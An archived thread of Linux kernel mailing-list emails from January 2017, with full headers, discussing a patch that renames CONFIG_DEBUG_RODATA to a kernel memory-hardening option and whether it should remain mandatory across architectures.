NNTP-Posting-Date: Thu, 19 Jan 2017 21:19:16 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Laura Abbott <labbott@redhat.com>,
        Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-parisc@vger.kernel.
To: Heiko Carstens <heiko.carstens@de.ibm.com>,
        Mark Rutland <mark.rutland@arm.com>
Original-X-From: linux-doc-owner@vger.kernel.org Thu Jan 19 22:19:09 2017
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1cUK6i-0003kQ-44
	for lnx-linux-doc@m.gmane.org; Thu, 19 Jan 2017 22:18:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751426AbdASVTA (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
        Thu, 19 Jan 2017 16:19:00 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:53433 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751349AbdASVS7 (ORCPT <rfc822;linux-doc@vger.kernel.org>);
        Thu, 19 Jan 2017 16:18:59 -0500
Original-Received: from [192.168.20.60] ([92.203.36.55]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M5LJv-1cKua72iPn-00zZQJ; Thu, 19
 Jan 2017 22:17:21 +0100
In-Reply-To: <20170119113305.GB5110@osiris>
X-Provags-ID: V03:K0:mv5JJuAXaWL3ej+xFfo6wxcmJH/3LVAttro50bgnb8skwFj0gJu
 NPHUpOS37PsUN2yIwM4SmibUarAVosK46yrHb1QJfvfZP14bYddyWNsaDPLXvnSX3NIx1PI
 pP3A7H0op+7/4vjuwetf2U5U2Xb9gzPR27dPN1PqewDr4nGRqns4QnwoezVwamLVnvMCs4a
 7dt1f1nSUC+LKEH4WThHA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CCRHV87mgaw=:p6emaVUcEdDcGPYSnBVhid
 KRHtEX/QXoawHEXF9PPjfPQ5GNt9IzVneJvXW+R1O0HtgzdCZEDVBBXsCaNO4m3OGm+m3FGoy
 2Ovy+/Pd7o9BRuDH+Gy7259W0LKpsQMr03Fb4KEbZRLgVYGIGxXYwn2fkgIBXVnUxVmiJZ3h4
 IfltcTBr7dEmtYCg8vFO2f7i9pJaVIqwJyaiGt5q5g4zZrluLf38aDhsUW7iVh/ixNpnVHKxw
 Hr05IEBid/o1qTYBZCL37RtuGFdWwQPvfeE7yquJovWenTB0c/sj2EHkqMzGLCQXLVi47wnMB
 mdX1q1nk8MXCrOk1whQq0gE5YJ/wopKcb1G1PPcP3U+Xnx3QHZpfSVZCw0VUlK/I/3uaMKr4o
 k7/J0sE2PzLq3MvymuULejAbg30yq4bFDNz7/e05sCGaKCt+nnXF9L1jmgEISwN9ChjwYzUki
 3LhQ0H2d0LDbKi9zPqK3z8hrQqgt7xN748zvWIIiXZtKyJwhElVIXzTYD29uWeM8KcOOkuvQu
 lyfWRO1zKc4ae81SATmpvaqx3xg+Jzx1GRhty2VCHvN1tLikqp1/55iUT8iXI+6ANczythE1j
 maiHVKdfNxDQ7IMLn7DFzcpbjqRl+DGm1KHfIfxU8c27BQ/OLW8Lx2Iyt2E4XAbaMiCIdm+jc
 U8IL0ogM/L/rMJoxOHSU+Fcn3Toas8TLkZzNO405S4q6qllRt576oV/7LX+JT1AeFJq7kQtIj
 sJFSKIrVOTV9+qKmM5fd7mizeRKxsR9s4dJfYVyEEs1e4ARBSEyugwstj3hITiEsPs0MUsWn 
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:44420 gmane.linux.kernel:2392379 gmane.linux.ports.arm.kernel:552438 gmane.linux.ports.parisc:27218 gmane.linux.power-management.general:85581 gmane.linux.kernel.hardened.devel:5253
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/44420>

On 19.01.2017 12:33, Heiko Carstens wrote:
> On Thu, Jan 19, 2017 at 10:56:46AM +0000, Mark Rutland wrote:
>>> +config HARDENED_PAGE_MAPPINGS
>>> +	bool "Mark kernel mappings with stricter permissions (RO/W^X)"
>>> +	default y
>>> +	depends on ARCH_HAS_HARDENED_MAPPINGS
>>> +	help
>>> +          If this is set, kernel text and rodata memory will be made read-only,
>>> +	  and non-text memory will be made non-executable. This provides
>>> +	  protection against certain security attacks (e.g. executing the heap
>>> +	  or modifying text).
>>> +
>>> +	  Unless your system has known restrictions or performance issues, it
>>> +	  is recommended to say Y here.
>>
>> It's somewhat unfortunate that this means the feature is no longer
>> mandatory on arm64 (and s390+x86). We have a boot-time switch to turn
>> the protections off, so I was hoping we could make this mandatory on all
>> architectures with support.
>>
>> It would be good to see if we could make this mandatory for arm and
>> parisc, or if it really needs to be optional for either of those.
> 
> Looks like the config option is a no-op on parisc just like it is on
> s390. Irrelavant of the config option at least on s390 the page tables for
> kernel text and rodata will be read-only anyway.

Right, that's true at the moment for parisc as well.
I do have unfinished patches which will add runtime kernel patching
for ftrace to parisc, and those patches will need to add code to 
enable/disable ro text/data like x86.
 
> This works since ages and I don't see a reason why this should be
> changed. Also trying to disable this with the "rodata=" command line option
> does not work at least on s390, and I guess this is true for parisc as
> well.

I never tried the option itself, but it should work on parisc to disable
the ro protection by this option.
 
> The only thing implemented with CONFIG_DEBUG_RODATA on both architectures
> is to emit a message that states memory has been protected
> (mark_rodata_ro).
> This just avoids a wrong "Kernel memory protection disabled." message.
> 
> So yes, I'd really like to keep this option mandatory.
 
I'd be fine with a rename of the config option to ARCH_HAS_HARDENED_MAPPINGS
and keeping the "rodata=" command line.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Thu, 19 Jan 2017 13:57:52 -0800
Lines: 90
Approved: news@gmane.org
Message-ID: <CAGXu5jJxDAZJZtVCHX+RmLUHz8s4ZxBPvYadpswmZwjvCmjFEw@mail.gmail.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com> <1484789346-21012-2-git-send-email-labbott@redhat.com>
Reply-To: kernel-hardening@lists.openwall.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1484863090 9681 195.159.176.226 (19 Jan 2017 21:58:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 21:58:10 +0000 (UTC)
Cc: Jason Wessel <jason.wessel@windriver.com>, Jonathan Corbet <corbet@lwn.net>, 
	Russell King <linux@armlinux.org.uk>, Catalin Marinas <catalin.marinas@arm.com>, 
	Will Deacon <will.deacon@arm.com>, "James E.J. Bottomley" <jejb@parisc-linux.org>, 
	Helge Deller <deller@gmx.de>, Martin Schwidefsky <schwidefsky@de.ibm.com>, 
	Heiko Carstens <heiko.carstens@de.ibm.com>, Thomas Gleixner <tglx@linutronix.de>, 
	Ingo Molnar <mingo@redhat.com>, "H. Peter Anvin" <hpa@zytor.com>, "x86@kernel.org" <x86@kernel.org>, 
	Rob Herring <robh@kernel.org>, "Rafael J. Wysocki" <rjw@rjwysocki.net>, Len Brown <len.brown@intel.com>, 
	Pavel Machek <pavel@ucw.cz>, Mark Rutland <mark.rutland@arm.com>, Jessica Yu <jeyu@redhat.com>, 
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>, LKML <linux-kernel@vger.kernel.org>, 
	"linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>, 
	lin
To: Laura Abbott <labbott@redhat.com>
Original-X-From: kernel-hardening-return-6100-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Thu Jan 19 22:58:03 2017
Return-path: <kernel-hardening-return-6100-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6100-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cUKiY-0001pf-BS
	for glkh-kernel-hardening@m.gmane.org; Thu, 19 Jan 2017 22:58:02 +0100
Original-Received: (qmail 23650 invoked by uid 550); 19 Jan 2017 21:58:05 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 23627 invoked from network); 19 Jan 2017 21:58:04 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=9n7YLFEUQkrFOKy2hBCpLyJChdg0AI9R3L6+QOiEN2g=;
        b=UQVoAN4Fx+83ZkO/sNMrXIzLvhvXRRBKy3yCi0KmLM9tB+oULHF/MsKUUBxDv6KsNH
         El5GhoJ0rwtDHw4T8fASjD2c+1SAxNTxhKN4ItkROwyOY2Typ0D2terrq4jPxD0Kq4jl
         kjUw96lQFPf9cjLIYoeL8AMlfkGPshUcIImhJFwmYhrTQc2pINhGr0gRGYYM3s3gg0PC
         mI875LeMvwzMcvd4Glc2MG05TL1gvM4CIgztD7WOXPdvoOXscaKzOyC/sd5a1jqW2nwV
         S0n94O5SmxiuMVZskO6+a9ITeVtWlRq46gttWkTxlzVSnRlM5k7k2yEmcw0GOACTXasd
         2DKA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=9n7YLFEUQkrFOKy2hBCpLyJChdg0AI9R3L6+QOiEN2g=;
        b=HkdZwPsJc7gRP/65vxNAgfWJhCVAGrb2QZzemfYdQ7uOWi5Kq7v1s6qFhDyq2vwekq
         zNx1aXx9NV1oXBeQ4+y4C3gCiLKqPe52HtgnVherDTXeB45T7nb/yE2phsnwW4YaCUJO
         iW4DUdr6Djc2uMbJUzKTtEvi+fi5JU2rgD+1g=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=9n7YLFEUQkrFOKy2hBCpLyJChdg0AI9R3L6+QOiEN2g=;
        b=oh2VIQKR0t8hudjQ+R7Rq7CPQhDEvszwyuHq2ppKR8t09ZCRVTFSB2/mPi3fnl6a7T
         jKCiAn7bGDuPzoojDYlpGMQyBTw93a+MfNjeK9g9rfBGbsxix+sBVfDi35D3mlQGmP/h
         /CGWH1zt8FODKbC1W9J5nfeqdljWJduDy5E/s5ZC3OzMFscusrtSBYdi/mBpumkdkv1E
         Ii39XG4WMGOYMGBBHzD9/V+0i1RpLJvD+z1kqeR5weQNDA3T1NZrF3UcJnXyddsuW3Jn
         3P7OXXo+mMDcDvElQuNCFjllbcu9ZYxjr2SRHDV/ejssKBoiSMGQuFotOrOeCDnXIbnf
         nc4g==
X-Gm-Message-State: AIkVDXLnmjSVFm04pnqMST0H8lU0fZwxKkvPmYTf2wbGR3K470K1GRyW4UF+wx85eKot916QiojQwVQQXCRuDnNd
X-Received: by 10.107.180.8 with SMTP id d8mr10598170iof.101.1484863073139;
 Thu, 19 Jan 2017 13:57:53 -0800 (PST)
Original-Sender: keescook@google.com
In-Reply-To: <1484789346-21012-2-git-send-email-labbott@redhat.com>
X-Google-Sender-Auth: Szuau6O3OrQCJ5_hcQQcsP6AGMI
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5254 gmane.linux.documentation:44421 gmane.linux.kernel:2392399 gmane.linux.ports.arm.kernel:552444 gmane.linux.ports.parisc:27219 gmane.linux.power-management.general:85584
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5254>

On Wed, Jan 18, 2017 at 5:29 PM, Laura Abbott <labbott@redhat.com> wrote:
>
> Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
> provides key security features that are to be expected on a modern
> system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
> accurately describes what this option is intended to do.

Oh thank you. Yes, this is badly needed. I might prefer to see this as
two patches, though:

Move DEBUG_RODATA to top-level arch/Kconfig, (and add ARCH_HAS_[bikeshed]).
Rename DEBUG_RODATA to [bikeshed]

(We should do a similar renaming for DEBUG_SET_MODULE_RONX too.)

Another thing that might be even cleaner would be to entirely invert
the logic. Something like CONFIG_ARCH_MISSING_[bikeshed]?

> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 186c4c2..09aff28 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -7,6 +7,7 @@ config ARM
>         select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>         select ARCH_HAVE_CUSTOM_GPIO_H
>         select ARCH_HAS_GCOV_PROFILE_ALL
> +       select ARCH_HAS_HARDENED_MAPPINGS if MMU && !XIP_KERNEL
>         select ARCH_MIGHT_HAVE_PC_PARPORT
>         select ARCH_SUPPORTS_ATOMIC_RMW
>         select ARCH_USE_BUILTIN_BSWAP
> diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
> index f68e8ec..e770dc9 100644
> --- a/arch/arm/mm/Kconfig
> +++ b/arch/arm/mm/Kconfig
> @@ -1051,21 +1051,9 @@ config ARCH_SUPPORTS_BIG_ENDIAN
>           This option specifies the architecture can support big endian
>           operation.
>
> -config DEBUG_RODATA
> -       bool "Make kernel text and rodata read-only"
> -       depends on MMU && !XIP_KERNEL
> -       default y if CPU_V7

These changes aren't correctly representing the ARM state. I think the
ARCH_HAS is correct, but I'm not sure the best way to include the
"default y if CPU_V7".

> --- a/security/Kconfig
> +++ b/security/Kconfig
> @@ -158,6 +158,22 @@ config HARDENED_USERCOPY_PAGESPAN
>           been removed. This config is intended to be used only while
>           trying to find such users.
>
> +config ARCH_HAS_HARDENED_MAPPINGS
> +       def_bool n
> +
> +config HARDENED_PAGE_MAPPINGS
> +       bool "Mark kernel mappings with stricter permissions (RO/W^X)"
> +       default y
> +       depends on ARCH_HAS_HARDENED_MAPPINGS
> +       help
> +          If this is set, kernel text and rodata memory will be made read-only,
> +         and non-text memory will be made non-executable. This provides
> +         protection against certain security attacks (e.g. executing the heap
> +         or modifying text).
> +
> +         Unless your system has known restrictions or performance issues, it
> +         is recommended to say Y here.
> +
>  source security/selinux/Kconfig
>  source security/smack/Kconfig
>  source security/tomoyo/Kconfig

Should this go in arch/Kconfig or security/Kconfig? I'm starting to
think we need a top-level kernel security Kconfig (the gcc plugins are
starting to pile up in arch/Kconfig, for example). I think since this
is arch specific, maybe arch/Kconfig? (Arguably, HARDENED_USERCOPY
shouldn't be in security/Kconfig either, since security/Kconfig is
mostly LSM or userspace-facing stuff? I dunno.)

As for the bikeshed on the naming, I like "KERNEL_RWX", and it likely
doesn't need "STRICT", IMO. CONFIG_KERNEL_RWX ? I don't have a strong
opinion beyond removing "DEBUG" from the name. :)

-Kees

-- 
Kees Cook
Nexus Security


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Thu, 19 Jan 2017 14:00:57 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <CAGXu5jJRrsvRAvD99O=0teqMFn9Z2rwbm=K794cD5yXKg0OL8g@mail.gmail.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com> <20170119105646.GA11176@leverpostej>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1484863294 4270 195.159.176.226 (19 Jan 2017 22:01:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 22:01:34 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Mark Rutland <mark.rutland@arm.com>,
        Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-pm-owner@vger.kernel.org Thu Jan 19 23:01:25 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cUKln-0000OJ-7F
	for gll-linux-pm2@m.gmane.org; Thu, 19 Jan 2017 23:01:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752252AbdASWB0 (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Thu, 19 Jan 2017 17:01:26 -0500
Original-Received: from mail-io0-f177.google.com ([209.85.223.177]:36284 "EHLO
        mail-io0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751498AbdASWBY (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Thu, 19 Jan 2017 17:01:24 -0500
Original-Received: by mail-io0-f177.google.com with SMTP id j13so48903396iod.3
        for <linux-pm@vger.kernel.org>; Thu, 19 Jan 2017 14:00:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=HdGmopQAJO/QPU2xp0WkhF4JfdVc21XF3Xop0bCFqX4=;
        b=XjNHSKtwswE+kFOytzAkcFlg4MpSuCTgYQjrdAZF763ylNMlYxPYaCjfKv+J8glcnY
         DhJGWi+/Dd8ZmLUHlgBRUdghHt6xVo4b75jswN+6s6EUWR8euLxexfDOogXUCF4XON1j
         IeDcC96iVQCQGoUfOzwADX9DH0GNkf8Mqt4GMwnsJVcTme6Q0ZrFd+axeZI0yM/AD9A0
         k6aA3sqsK7XqOCPnncxLvByzq4tgHV3LA5AlNc4WCvTnlpEUhwnOEQOirL9J1/Ioslgz
         tzNzCaoX6p8W7SUBC5j1+KcfBpotDsBucWKgswK2iRzfT9LZkKj4lXgMG7m18IpCFLro
         AdOg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=HdGmopQAJO/QPU2xp0WkhF4JfdVc21XF3Xop0bCFqX4=;
        b=URT8ji3D8B83CMvs7gDYUmHNnI3XjiFYIyELoezXM+iKm65lNRPx8EipbRFJ7W2BxN
         3IsoylUHDKiIiwmsnGsjyg0DGATxCJpWn4xiZVFvj87oGSIAHsF9v6wUoIgk1KeSxaem
         y23FsEVfxd7u9VKEX6YCivR1AiA7AG0dXpF0M=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=HdGmopQAJO/QPU2xp0WkhF4JfdVc21XF3Xop0bCFqX4=;
        b=YVGJLYCKnV89xeutPvKH2eMNXV3fPVQyfPelgCRA5lc/ceiHAvnmWouqdUPfQtMlJ7
         oaFZi19/iP6xVQKJ91XantZZMc60XqxPOn0Q3lJy9orrhtppBN7Mz8VrIbjDGngo0scS
         3wtfiJjTBJRsXOwvqhgnPC05oINVRarPH81QqL8Xw+54+A+wZsouGJpSF3Rc9fvdBMCK
         OrlgCJ7W3SMW2v6+se/H3aXOGTNsDaT7cHK7W/G7k5XZJYVT6X5B5+UWYwWwO/ZcdTNT
         UYqPVDDWda2u6cs0txL6qjrTMXclDPXSoiFNcsSxuHWuzoDqTWdIWkEC4fwgQVzOLAiz
         YQog==
X-Gm-Message-State: AIkVDXJ3K3dU6q8yu/JQvWglE5qSloSAwgmbtnQ6II872DkZF7gfX5dMjATCepcskPtMzuqPgB4/JKkX/+YWuQ6s
X-Received: by 10.107.180.8 with SMTP id d8mr10609660iof.101.1484863257650;
 Thu, 19 Jan 2017 14:00:57 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Thu, 19 Jan 2017 14:00:56 -0800 (PST)
In-Reply-To: <20170119105646.GA11176@leverpostej>
X-Google-Sender-Auth: V31GawHELKUvYbn3YvEOeQqiGHs
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:85585 gmane.linux.documentation:44422 gmane.linux.kernel:2392402 gmane.linux.ports.arm.kernel:552445 gmane.linux.ports.parisc:27220 gmane.linux.kernel.hardened.devel:5255
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/85585>

On Thu, Jan 19, 2017 at 2:56 AM, Mark Rutland <mark.rutland@arm.com> wrote:
> Hi Laura,
>
> On Wed, Jan 18, 2017 at 05:29:05PM -0800, Laura Abbott wrote:
>> diff --git a/security/Kconfig b/security/Kconfig
>> index 118f454..ad6ce82 100644
>> --- a/security/Kconfig
>> +++ b/security/Kconfig
>> @@ -158,6 +158,22 @@ config HARDENED_USERCOPY_PAGESPAN
>>         been removed. This config is intended to be used only while
>>         trying to find such users.
>>
>> +config ARCH_HAS_HARDENED_MAPPINGS
>> +     def_bool n
>> +
>> +config HARDENED_PAGE_MAPPINGS
>> +     bool "Mark kernel mappings with stricter permissions (RO/W^X)"
>> +     default y
>> +     depends on ARCH_HAS_HARDENED_MAPPINGS
>> +     help
>> +          If this is set, kernel text and rodata memory will be made read-only,
>> +       and non-text memory will be made non-executable. This provides
>> +       protection against certain security attacks (e.g. executing the heap
>> +       or modifying text).
>> +
>> +       Unless your system has known restrictions or performance issues, it
>> +       is recommended to say Y here.
>
> It's somewhat unfortunate that this means the feature is no longer
> mandatory on arm64 (and s390+x86). We have a boot-time switch to turn
> the protections off, so I was hoping we could make this mandatory on all
> architectures with support.

Oh, I totally missed this. Yes, we need it to stay mandatory. It
should be possible by just adding "select HARDENED_PAGE_MAPPINGS" to
the arch Kconfig, yes?

> It would be good to see if we could make this mandatory for arm and
> parisc, or if it really needs to be optional for either of those.

(Adding mpe to CC...) Michael, what's needed to get this working on powerpc too?

-Kees

-- 
Kees Cook
Nexus Security
--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [RFC][PATCH 0/2] Better hardening names
Date: Thu, 19 Jan 2017 14:08:12 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <CAGXu5j+KA_+OxBo_fFO+YoZDyNYTCttRh06868o5-DAz53D30Q@mail.gmail.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1484863707 30349 195.159.176.226 (19 Jan 2017 22:08:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 22:08:27 +0000 (UTC)
Cc: Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 19 23:08:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cUKsN-0003Ih-T9
	for glpp-linux-parisc@m.gmane.org; Thu, 19 Jan 2017 23:08:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752757AbdASWIQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 19 Jan 2017 17:08:16 -0500
Original-Received: from mail-it0-f48.google.com ([209.85.214.48]:35155 "EHLO
        mail-it0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751890AbdASWIO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 19 Jan 2017 17:08:14 -0500
Original-Received: by mail-it0-f48.google.com with SMTP id 203so7228508ith.0
        for <linux-parisc@vger.kernel.org>; Thu, 19 Jan 2017 14:08:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=ZUdASi4Bmc6UOuR3hR2vRiSHxmi+hXPiWMoVqO8r3HM=;
        b=n2pQvHJCvqpH5i3KpCJdntYidq5GXI+pD4keknqmskC4fLz/h3WY7yYT+WkbN/ZB1u
         xOMDsxh2qOkkZVbsz/NxDsmBhgAdWQoyT/cP18Qcl4f2K01coywqCkPVuvv2AhvDN3OV
         b6V4HbDgPoNFxvpCNiLa1J2mnp+kc+x3Gtu8aJFDTZCR47Smusak327Mug7LAnsISVqF
